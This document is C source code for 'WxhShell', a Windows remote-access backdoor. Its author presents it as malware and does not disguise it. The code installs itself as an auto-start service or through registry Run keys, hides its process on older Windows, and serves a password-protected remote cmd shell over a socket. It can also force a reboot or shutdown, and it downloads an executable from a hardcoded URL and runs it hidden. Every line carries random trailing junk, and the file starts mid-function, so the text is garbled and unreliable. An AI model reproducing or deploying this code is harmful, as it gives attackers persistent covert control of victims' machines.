    send(wsh,msg_ws_err,strlen(msg_ws_err),0); cu(2BDfiL  
    else { %TxFdF{A  
    closesocket(wsh); 2hAu~#X  
    ExitThread(0); =v=a:e  
    } t>f<4~%MJ  
    break; xn1  
    } `C`CU?D  
  // 获取shell Y8`4K*58%  
  case 's': { B:)9hF?o@  
    CmdShell(wsh); 8AT;9wZqt  
    closesocket(wsh); |{+D65R  
    ExitThread(0); #9}E@GGs  
    break; ^kxkP}[Z.  
  } $'dJ+@  
  // 退出 :\L{S  
  case 'x': { VdQ}G!d  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); !p4w 8  
    CloseIt(wsh); $[5ihV$u  
    break; y7dnXO!g9-  
    } %)8`(9J*  
  // 离开 ,i#]&f`c;5  
  case 'q': { "DM $FRI0  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); s/UIo ^m  
    closesocket(wsh); +I#4+0f  
    WSACleanup(); : m$cnq~h  
    exit(1); X|t?{.p  
    break; sXOGIv  
        } 7g_:Gv~v  
  } ?JDZDPVJ)  
  } !YSAQi;I  
NqvL,~1G  
  // 提示信息 H7?C>+ay  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); RVy8%[Gcq  
} $-YS\R\9x  
  } +Sv`23G@  
P!:Y<p{=>  
  return; `%p}.X  
} _H>ABo  
L B1 ui  
// shell模块句柄 #K'3` dpL  
int CmdShell(SOCKET sock) c 6@!?8J  
{ N,V %/O{Y  
STARTUPINFO si; :X Er{X  
ZeroMemory(&si,sizeof(si)); xz[a3In+  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; PmyS6a@  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ]h~=lItTRZ  
PROCESS_INFORMATION ProcessInfo; YUJlQ2e(  
char cmdline[]="cmd"; {co(w 7  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); .cN\x@3-j  
  return 0; (p26TN;*$5  
} %h 6?/  
)Xg,;^  
// 自身启动模式 zI8Q "b  
int StartFromService(void) A>(m}P  
{ *,{. oO9#  
typedef struct ;H /*%2  
{ \Xc6K!HJM  
  DWORD ExitStatus; iq-n(Rfw~  
  DWORD PebBaseAddress; EMzJJe{Cv  
  DWORD AffinityMask; hc2[,Hju{O  
  DWORD BasePriority; %YG ~ql  
  ULONG UniqueProcessId; GJai!$v  
  ULONG InheritedFromUniqueProcessId; PF*<_p"j  
}   PROCESS_BASIC_INFORMATION; Q]Q i  
>|WNsjkU%  
PROCNTQSIP NtQueryInformationProcess; RoSh|$JF  
o1YX^-<[F  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 'x{g P?.  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; <iunDL0  
i%+cPQ^o  
  HANDLE             hProcess; 9V`/zq?  
  PROCESS_BASIC_INFORMATION pbi; SLpB$puS  
$r*7)/  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); st P~/}  
  if(NULL == hInst ) return 0; qEPvV  
yjvzA|(YC  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 6 /gh_'&  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ]]`hnzJX  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ]?S\So+  
z]^&^VFu  
  if (!NtQueryInformationProcess) return 0; a_4Ny  
<KqZ.7XfB  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); %&5 !vK  
  if(!hProcess) return 0; $UavM|  
9KRHo%m  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; TKj8a(R_  
=($RT  
  CloseHandle(hProcess); UhYeyT  
5:/ zbt\C  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); I>o+INb:  
if(hProcess==NULL) return 0; d a we!w!  
vpcx 1t<  
HMODULE hMod; 0?  (  
char procName[255]; WM5 s  
unsigned long cbNeeded; Wk"4mq  
T`7;Rl'Q  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); *,5V;7OR  
<uDEDb1|l  
  CloseHandle(hProcess); w'z ?1M(*  
#y%bx<A  
if(strstr(procName,"services")) return 1; // 以服务启动 Q( .d!CQ>  
0ohpJh61Q  
  return 0; // 注册表启动 )$Xd#bzD|  
} A9\m .3jo  
Y,?s-AB  
// 主模块 Ks . m5R  
int StartWxhshell(LPSTR lpCmdLine) u"XqWLTV  
{ xr+K: bw  
  SOCKET wsl; A|1 TE$  
BOOL val=TRUE; /uS(Z-@  
  int port=0; e}yoy+9  
  struct sockaddr_in door; r,X5@/  
z=:<]j#=  
  if(wscfg.ws_autoins) Install(); U1bhd}MoR  
F%@( $f  
port=atoi(lpCmdLine); RX8$&z  
4V9DPBh  
if(port<=0) port=wscfg.ws_port; WL$Ee=  
By(:%=.  
  WSADATA data; a5ZU"6Hi  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; { 2G9>'  
Yh)yp?  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   S/G6NBnbS  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); EM!#FJh  
  door.sin_family = AF_INET; h~haA8i?{  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ?rID fEvV  
  door.sin_port = htons(port); n.jF:  
6*cG>I.Z  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Fj}|uiOQUS  
closesocket(wsl); 5!u.w  
return 1; w^Qb9vTa8  
} ln%xp)t  
J/S 47J~  
  if(listen(wsl,2) == INVALID_SOCKET) { _Qg^>}]A1  
closesocket(wsl); \PU3{_G]  
return 1; 0&T0Ls#4  
} 2-5AKm@K  
  Wxhshell(wsl); fH~InDT^  
  WSACleanup(); s8Kf$E^?e.  
l G12Su/  
return 0; 7|LJwXQ-  
qa wb9Iud0  
} T- ID{i  
7_C;-  
// 以NT服务方式启动 qYv/" 1  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) *5Upb,* *  
{ x'kwk  
DWORD   status = 0; N p9N#m?  
  DWORD   specificError = 0xfffffff; >FED*C4  
?#?[6t  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ks|[`FH  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; BqC, -gC  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; S6CM/  
  serviceStatus.dwWin32ExitCode     = 0; #TZf\0\!  
  serviceStatus.dwServiceSpecificExitCode = 0; 9XWHr/-_@  
  serviceStatus.dwCheckPoint       = 0; @Aa$k:_  
  serviceStatus.dwWaitHint       = 0; !]1X0wo\  
k_%2Ok   
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); b);Pw"_2  
  if (hServiceStatusHandle==0) return; RaT(^b(  
n B4)%  
status = GetLastError(); Y,EReamp  
  if (status!=NO_ERROR) dd1m~Gm  
{ W$LaXytmak  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; U;Z6o1G  
    serviceStatus.dwCheckPoint       = 0; f"t\-ux.b  
    serviceStatus.dwWaitHint       = 0; {o"X8  
    serviceStatus.dwWin32ExitCode     = status; IPmSkK  
    serviceStatus.dwServiceSpecificExitCode = specificError; C{>@b:]p  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); It'hmwu#  
    return; #~?Q?"  
  } g+Vfd(e  
>!O3 jb k  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; KtzoL#CT  
  serviceStatus.dwCheckPoint       = 0; }&#R-eQT  
  serviceStatus.dwWaitHint       = 0; =!7k/n';  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); tu\;I{ h=0  
} h<H.8.o  
[.4R ,[U  
// 处理NT服务事件,比如:启动、停止 =g4^tIYq  
VOID WINAPI NTServiceHandler(DWORD fdwControl) !GI*R2<W  
{ 2KVMQH`B9  
switch(fdwControl) ].53t"*  
{ (pM5B8U  
case SERVICE_CONTROL_STOP: S|!)_RL  
  serviceStatus.dwWin32ExitCode = 0; a@`15O:  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; Z7RGOZQ}G  
  serviceStatus.dwCheckPoint   = 0; `:cnu;  
  serviceStatus.dwWaitHint     = 0; DpjiE/*  
  { }[ LME Z  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); x*td nor&  
  } z`UL)W  
  return; e3w4@V`  
case SERVICE_CONTROL_PAUSE: c:etJ  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; t"M&Yy  
  break; K  +n  
case SERVICE_CONTROL_CONTINUE: 4cJ7W_ >i6  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; Cj31>k1  
  break; ?B ; +,  
case SERVICE_CONTROL_INTERROGATE: G)5w_^&%  
  break; y<mmv~=  
}; $;NxO0$  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); -q1vB8gjj  
} 5W"&$6vj  
BwtjTwd  
// 标准应用程序主函数 KdU!wsKfG  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) &!> )EHGV  
{ ,l`4)@{G  
x95[*[  
// 获取操作系统版本 t mAj  
OsIsNt=GetOsVer(); g a|RW0  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 3YT>3f!\  
o C0K!{R*  
  // 从命令行安装 [=*c8  
  if(strpbrk(lpCmdLine,"iI")) Install(); 's]I:06A  
l H:Y8j  
  // 下载执行文件 gwE#,OY*  
if(wscfg.ws_downexe) { WE\@ArY>  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ?U'c;*O-  
  WinExec(wscfg.ws_filenam,SW_HIDE); pN# \  
} =4`#OQ&g  
S*;8z}5<\  
if(!OsIsNt) { I^|6gaP|6  
// 如果时win9x,隐藏进程并且设置为注册表启动 1SIhW:C  
HideProc(); w$I<WS{J:Z  
StartWxhshell(lpCmdLine); l`c&nf6  
} ,b;eU[!]  
else 4AdZN5  
  if(StartFromService()) =^ur@E  
  // 以服务方式启动 :m*r( i3  
  StartServiceCtrlDispatcher(DispatchTable); k( l  
else &?L K>QV  
  // 普通方式启动 d*3;6ZLy  
  StartWxhshell(lpCmdLine); tlhYk=yq  
"e]1|~  
return 0; {2wfv2hQ  
} ^q``f%Xt  
7A0D[?^xe  
m(Ghe2T:  
#B7_5y^  
=========================================== lx9tUTaus/  
_  dFZR  
o&45y&  
=#)Zm?[;  
t\LAotTF/  
HPl'u'.Hg  
" !V|i\O|Q2  
Jlgo@?Lc  
#include <stdio.h> I4]|r k9  
#include <string.h> cHN eiOF  
#include <windows.h>  c(Liwuj  
#include <winsock2.h> QC@nRy8%  
#include <winsvc.h> hAx#5@*5  
#include <urlmon.h> 3^p<Wx  
/C)mx#h]  
#pragma comment (lib, "Ws2_32.lib") ,<iJ#$: Sx  
#pragma comment (lib, "urlmon.lib") !YD~o/t@|  
&"!s+_  
#define MAX_USER   100 // 最大客户端连接数 =TImx.D:  
#define BUF_SOCK   200 // sock buffer tXj28sh$  
#define KEY_BUFF   255 // 输入 buffer awP ']iE  
4o7(cP  
#define REBOOT     0   // 重启 bvHF;Qywg  
#define SHUTDOWN   1   // 关机 EB8=*B8  
f#~X4@DH`  
#define DEF_PORT   5000 // 监听端口 ^Mw>'*5^  
}.md$N_F  
#define REG_LEN     16   // 注册表键长度 kmHIU}Z  
#define SVC_LEN     80   // NT服务名长度 +EI+@hS  
;-SFK+)R"  
// 从dll定义API s7j#Yg  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); aju!Aq54G  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Y:|_M3&'o  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); piq1cV  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); a/ d'(]  
kMD:~ V  
// wxhshell配置信息 QLNQE6-  
struct WSCFG { Pl|e?Np  
  int ws_port;         // 监听端口 -$Y@]uf^  
  char ws_passstr[REG_LEN]; // 口令 8yr_A[S8.  
  int ws_autoins;       // 安装标记, 1=yes 0=no ;3ZHm*xJx  
  char ws_regname[REG_LEN]; // 注册表键名 Y{c_5YYf  
  char ws_svcname[REG_LEN]; // 服务名 "4W@p'  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 RU} M&&  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 cEkf9:_La  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 qs\ O(K8  
int ws_downexe;       // 下载执行标记, 1=yes 0=no A2Je*Gz  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" }T<[JXh=J  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 );4lM%]eb  
r>v_NKS]t  
}; MQD%m ;[s  
i3C5"\y  
// default Wxhshell configuration "Mt4~vy  
struct WSCFG wscfg={DEF_PORT, w!$|IC  
    "xuhuanlingzhe", K$>C*?R  
    1, H.\gLIr  
    "Wxhshell", C>%2'S^.b  
    "Wxhshell", Rw4"co6  
            "WxhShell Service", (r8Rb*OP  
    "Wrsky Windows CmdShell Service", (Uo:WyVj|F  
    "Please Input Your Password: ", fiDwa ;,  
  1, g3B zi6$m  
  "http://www.wrsky.com/wxhshell.exe", #vk-zx*v7=  
  "Wxhshell.exe" H>8B$fi)$  
    }; 5xJyW`SWz  
` VL`8  
// 消息定义模块 0Q@ &z  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; om$x;L6  
char *msg_ws_prompt="\n\r? for help\n\r#>"; !>$tRW?gH~  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 'FB?#C%U  
char *msg_ws_ext="\n\rExit."; 6=V&3|"  
char *msg_ws_end="\n\rQuit."; T /iKz  
char *msg_ws_boot="\n\rReboot..."; Yh`P+L  
char *msg_ws_poff="\n\rShutdown..."; ;6op|O  
char *msg_ws_down="\n\rSave to "; 7^Y"K  
3+6s}u)  
char *msg_ws_err="\n\rErr!"; pk&kJ307  
char *msg_ws_ok="\n\rOK!"; A?l.(qG C_  
_g+^jR4  
char ExeFile[MAX_PATH]; 2[WH8l+  
int nUser = 0; =nQ"ye  
HANDLE handles[MAX_USER]; }6#lE,\lM  
int OsIsNt; o K;.|ja  
|eD$eZ=m  
SERVICE_STATUS       serviceStatus; j=U [V&T  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; Q;p?.GI?-  
oqzx}?0  
// 函数声明 #:rywz+  
int Install(void); IooAXwOF  
int Uninstall(void);  3*@ sp  
int DownloadFile(char *sURL, SOCKET wsh); r^3QDoy  
int Boot(int flag); %'2DEt??  
void HideProc(void); j{)_&|^{  
int GetOsVer(void); #X&`gDW  
int Wxhshell(SOCKET wsl); y,$kU1yH7  
void TalkWithClient(void *cs); 0@w8,x  
int CmdShell(SOCKET sock); :r0?[#r?N,  
int StartFromService(void); m.ib#Y)y  
int StartWxhshell(LPSTR lpCmdLine); y%.^| G  
an+`>}]F  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); lq2P10j@  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); b!W!Vvf^x  
HCP' V  
// 数据结构和表定义 ~Yrtz   
SERVICE_TABLE_ENTRY DispatchTable[] = `<I+(8]Uz  
{ aAY=0rCI-  
{wscfg.ws_svcname, NTServiceMain}, Ns.b8Y  
{NULL, NULL} ia.95H;  
}; 63b?-.!b  
r)$(>/[$  
// 自我安装 U 00}jH  
int Install(void) QdaYP  
{ 5mNd5IM  
  char svExeFile[MAX_PATH]; <0,c{e  
  HKEY key; E. @n Rj#  
  strcpy(svExeFile,ExeFile); ;B[*f?y-  
YVy+1q[  
// 如果是win9x系统,修改注册表设为自启动 8BnI0l=\  
if(!OsIsNt) { jkd'2  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ^8S'=Bk  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); n(-1vN  
  RegCloseKey(key); NP%Y\%;l6  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { |G.|ocj;  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 83,ATQg  
  RegCloseKey(key); &Q7vY  
  return 0; ?nOul}y/  
    } --SlxV/x  
  } bYT,f.,5{  
} }K\] M@  
else { UR')) 1n  
S]^`Qy)  
// 如果是NT以上系统,安装为系统服务 H f}->  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); DyiyH%SSD  
if (schSCManager!=0) <dxc"A  
{ Ps3wg=ni[  
  SC_HANDLE schService = CreateService <ptZY.8N  
  ( 7TCY$RcF,I  
  schSCManager, FX QUj&9  
  wscfg.ws_svcname, _~f&wkc  
  wscfg.ws_svcdisp,  uY]nqb  
  SERVICE_ALL_ACCESS, hr9[$4'H  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ` <+MR6M  
  SERVICE_AUTO_START, uW*)B_c  
  SERVICE_ERROR_NORMAL, /Jz?~H{%n  
  svExeFile, ~(4;P%L:  
  NULL, h^E"eC  
  NULL, :f?};t+  
  NULL, m Cvgs  
  NULL, @ToY,@]e  
  NULL a6AD`| U8  
  ); rt+%&% wt  
  if (schService!=0) \v(}@zcB|  
  { XW]'by  
  CloseServiceHandle(schService); ?1\rf$l8  
  CloseServiceHandle(schSCManager); w0n.Y-v4i  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); +{ Q]$b  
  strcat(svExeFile,wscfg.ws_svcname); @.Pd3CB0  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { zTODV<-`  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); #.|ef dsG  
  RegCloseKey(key); m22FOjk\  
  return 0; 0fhz7\a^_<  
    } E<u6 js,  
  } I^h^QeBis  
  CloseServiceHandle(schSCManager); $@t]0  
} 37Z@a!#  
} :q_(=EA  
eH.~c3o  
return 1; 9sQ7wlK  
} {DzOXTI[Y  
pSM\(kVKa  
// 自我卸载 XJ &'4h  
int Uninstall(void) $)w9EGZ  
{ `9IG//  
  HKEY key; N?]HWP^pg  
$j? zEz  
if(!OsIsNt) { ~gz_4gzb  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { @VlDi1  
  RegDeleteValue(key,wscfg.ws_regname); (~ 6oA f  
  RegCloseKey(key); !g=2U`j^  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { I<p- o/TP  
  RegDeleteValue(key,wscfg.ws_regname); Fk01j;k.H  
  RegCloseKey(key); b4o`eR  
  return 0; DbRq,T  
  } '6Lw<#It  
} ] B ZSW  
} \.m"u14[b  
else { 6_KO6O7g  
{9>LF  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); p%;n4*b2  
if (schSCManager!=0) 9"T&P_   
{ g\;&Z  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); !Zf< j  
  if (schService!=0) J]|Zh  
  { oC"1{ybyl  
  if(DeleteService(schService)!=0) { 7f!"vhCXM;  
  CloseServiceHandle(schService); i8CO+Iv*{  
  CloseServiceHandle(schSCManager); 4hRc,Vq  
  return 0; ''Lf6S`4X~  
  } \]bAXa{ p  
  CloseServiceHandle(schService); /_yJ;l/K  
  } :Fe}.* t  
  CloseServiceHandle(schSCManager); ]iP  +Y  
} vwA d6Tm  
} TGUlJLT  
-_<rmR[:]  
return 1; qX,T X 3  
} z"[}Sk  
{ek a xSR  
// 从指定url下载文件 O7&6]/`  
int DownloadFile(char *sURL, SOCKET wsh) r$7zk<01  
{ 1DzI@c~X  
  HRESULT hr; -M{.KqyW  
char seps[]= "/"; ~!bA<q  
char *token; :PJ 5~7C  
char *file; # Vq"Cf  
char myURL[MAX_PATH]; xD|/98  
char myFILE[MAX_PATH]; ,p3moD 3  
cz{5-;$9Z  
strcpy(myURL,sURL); TmH'_t.*T~  
  token=strtok(myURL,seps); @_:Jm tH<  
  while(token!=NULL) |_ChK6Q?v  
  { =~|:93]k  
    file=token; 8M5a&35J"  
  token=strtok(NULL,seps); @ +iO0?f  
  } v +$3Z5  
:<"b"{X"  
GetCurrentDirectory(MAX_PATH,myFILE); *'BA# /@  
strcat(myFILE, "\\"); \H6[6*JuB  
strcat(myFILE, file); CLn}BxgD  
  send(wsh,myFILE,strlen(myFILE),0); M@ TXzn!&o  
send(wsh,"...",3,0); et-<ib<lY  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); r=S6yq}  
  if(hr==S_OK) _--kK+rU  
return 0; dI$U{;t  
else H.H$5(?O  
return 1; IegZ)&_n  
I"_``*/1  
} 76'vsg  
jO5R0^w  
// 系统电源模块 )^D:VY9 2  
int Boot(int flag) 2{`[<w  
{ +^@;J?O  
  HANDLE hToken; ){_D  
  TOKEN_PRIVILEGES tkp; -_4ZT^.Lna  
-nsI5\]  
  if(OsIsNt) { 8`$lsD  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); jf|5}5kSlf  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); reU*apZ/  
    tkp.PrivilegeCount = 1; #JLxM/5^1~  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; A/xo'G  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); <* 4'H  
if(flag==REBOOT) { |cBeyqr  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) E\GD hfTQ  
  return 0; uyfH;9L5$  
} Q^Lk^PP7  
else { i^O(JC  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) v})-:  
  return 0; /-mo8]J#2~  
} E+tV7xa~  
  } F~C9,`#Wf@  
  else { )]W|i9  
if(flag==REBOOT) { VvS  ^f  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) .&Q'aOg  
  return 0; L FncY(b  
} q|r/%[[!o  
else { Fh3>y2 `/  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) Wu\szI"  
  return 0; j/h>G,>T=  
} z4UJo!{S  
} 'u)zQAaw.  
kpQXnDm 2  
return 1; !K0:0:  
} zHT22o56X  
<h vVh9  
// win9x进程隐藏模块 r\x"nS  
void HideProc(void) U> @st="  
{ InCJ4D  
2b`3"S  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); +)cjW"9  
  if ( hKernel != NULL ) Gfbeh %  
  { Af V a[{E  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); Pv>W`/*_,s  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); $QbaPmHW  
    FreeLibrary(hKernel); zdh&,!] F6  
  } _rmTX.'w  
mh8{`W&  
return; VD).UdUn  
} DNu^4#r  
([+u U!  
// 获取操作系统版本 j1sZRl)D  
int GetOsVer(void) u6pfc'GGg  
{ U,_jb}$Sq7  
  OSVERSIONINFO winfo; .0gF&>I}  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 555*IT3b  
  GetVersionEx(&winfo); Q^_*&},V  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) QUSyVp{$  
  return 1; lCznH?[  
  else ujt0?DM  
  return 0; }CoR$K   
} ,Zs"r}G^  
Z_tK3kQa@&  
// 客户端句柄模块 #K[UqJ+x  
int Wxhshell(SOCKET wsl) YgFmJ.1  
{ Go8?8*  
  SOCKET wsh;  IeZgF>  
  struct sockaddr_in client; FK2* O  
  DWORD myID; B,f4<  
~Ip-@c}'j  
  while(nUser<MAX_USER) OZ'=Xtbn  
{ 7H~J?_  
  int nSize=sizeof(client); ap7ZT7KW  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); a'U}.w}  
  if(wsh==INVALID_SOCKET) return 1; T/b%,!N)  
Z%t"~r0PS  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); D^Cpgha  
if(handles[nUser]==0) e=yQFzQT)  
  closesocket(wsh); ?f{--|V  
else , '_y@9?I  
  nUser++; Xc!0'P0T  
  } Z fQzA}QD  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); M zWVsV  
lebwGW,!  
  return 0; @'Y^A  
} s_j ?L  
m,TN%*U!  
// 关闭 socket $}*bZ~  
void CloseIt(SOCKET wsh) Hfw*\=p  
{ ?m RGFS  
closesocket(wsh); I1 Jo8s  
nUser--; 42{\u08Z  
ExitThread(0); @Z fQ)q\  
} a*oqhOTQ  
B]""%&! O  
// 客户端请求句柄 )fRZ}7k:  
void TalkWithClient(void *cs) aT[qJbp1  
{ &:3uK`  
VXM5 B  
  SOCKET wsh=(SOCKET)cs; tcm?qro)  
  char pwd[SVC_LEN]; $0f(Gc|  
  char cmd[KEY_BUFF]; M`~UH\  
char chr[1]; g<@P_^vo  
int i,j; ^5:xSQ@:  
2Gw2k8g&  
  while (nUser < MAX_USER) { @`,~d{ziF  
)U?O4| \P  
if(wscfg.ws_passstr) { D (>,#F  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); m7|}PH" 7  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); V^  
  //ZeroMemory(pwd,KEY_BUFF); Xqz\%&G  
      i=0; R[%ZyQ_  
  while(i<SVC_LEN) { {Y\W&Edw%  
"k0bj>  
  // 设置超时 ]sE~gro  
  fd_set FdRead; uhSRl~tn  
  struct timeval TimeOut; Z Mids"Xdf  
  FD_ZERO(&FdRead); ajq[ID  
  FD_SET(wsh,&FdRead); 51;V#@CsQ  
  TimeOut.tv_sec=8; 1/c7((]7(,  
  TimeOut.tv_usec=0; mg[=~&J^  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); PEW^Vl-6q  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); W&q]bi@C  
` :eXXE  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ~b+4rYNxU_  
  pwd=chr[0]; 4.$<o/M  
  if(chr[0]==0xd || chr[0]==0xa) { HUuL3lYka  
  pwd=0; ?k<i e2  
  break; tH,}_Bp  
  } v T2YX5k&,  
  i++; *.K+"WS%  
    } DlC`GZEtqh  
8fKt6T  
  // 如果是非法用户,关闭 socket r@5_LD@f  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); y-m<&{q  
} 6]^ShOX_Z  
L (XGD  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); y2gI]A  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 1`)ie%=  
fWhwI+  
while(1) { xbnx*4o0  
h-+9Bv]  
  ZeroMemory(cmd,KEY_BUFF); 1Y6<i8  
6T! *YrS  
      // 自动支持客户端 telnet标准   2Vas`/~u~  
  j=0; `*mctjSN  
  while(j<KEY_BUFF) { jq yqOhb4  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); R$X1Q/#md  
  cmd[j]=chr[0]; }dX[u`zQ  
  if(chr[0]==0xa || chr[0]==0xd) { ~McmlJzJG  
  cmd[j]=0; 7dyGC:YuTL  
  break; -D?T0>  
  } bq/ m?;  
  j++; {P"$;_Y"<  
    } D+lzISp~e  
+ObP[F  
  // 下载文件 7(rNJPrU~=  
  if(strstr(cmd,"http://")) { #n2'N^t  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); D^yZ!}Kl  
  if(DownloadFile(cmd,wsh)) -'BC*fVr  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 0ubT/  
  else 6S)$wj*w  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); CMB:%  
  } ,X25-OFZ  
  else { ];i-d7C  
) (unL`y  
    switch(cmd[0]) { Tqz{{]%j~$  
  :# s 6,  
  // 帮助 bO]^TRaiJ  
  case '?': { !#j y=A  
